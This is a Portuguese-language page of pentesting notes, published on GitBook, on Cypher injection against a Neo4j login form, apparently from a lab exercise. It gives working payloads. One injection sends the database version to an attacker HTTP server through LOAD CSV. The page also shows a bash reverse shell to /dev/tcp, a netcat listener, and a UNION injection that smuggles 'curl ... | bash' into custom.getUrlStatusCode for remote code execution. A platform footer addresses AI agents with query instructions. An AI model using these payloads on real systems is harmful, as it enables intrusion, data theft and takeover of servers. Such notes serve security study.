> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).

# Injeção Cypher Neo4j

## Injeção Cypher do Neo4j

Um formulário de login é vulnerável. Um erro aparece quando inserimos `'`.

<figure><img src="/files/e9d876d41f1f058f5fcb7008dd6108e09aa90dd0" alt=""><figcaption></figcaption></figure>

Injetamos uma carga Cypher para recuperar a versão do Neo4j:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
  "password": "test"
}

```

{% endcode %}

<figure><img src="/files/7bacb6c7615f27164215c98b539bbbebc40ff301" alt=""><figcaption></figcaption></figure>

Em nosso servidor, a requisição é recebida:

```bash
python3 -m http.server 80
# Injeção Cypher do Neo4j

```

<figure><img src="/files/8fd233fdcfb099bce1ecf3ac278d56511c7eead6" alt=""><figcaption></figcaption></figure>

### RCE via chamada para `custom.getUrlStatusCode()`

<figure><img src="/files/2bb58e0f377c708b5520a0c27f16fba4360f43eb" alt=""><figcaption></figcaption></figure>

Colocamos uma reverse shell em `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

```

Colocamos uma reverse shell em `index.html`:

```bash
nc -nlvp 443

```

Use a injeção conjunta para chamar isto **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}

```

<figure><img src="/files/3b4a71941089df928a08e4a38c58a9335616e328" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
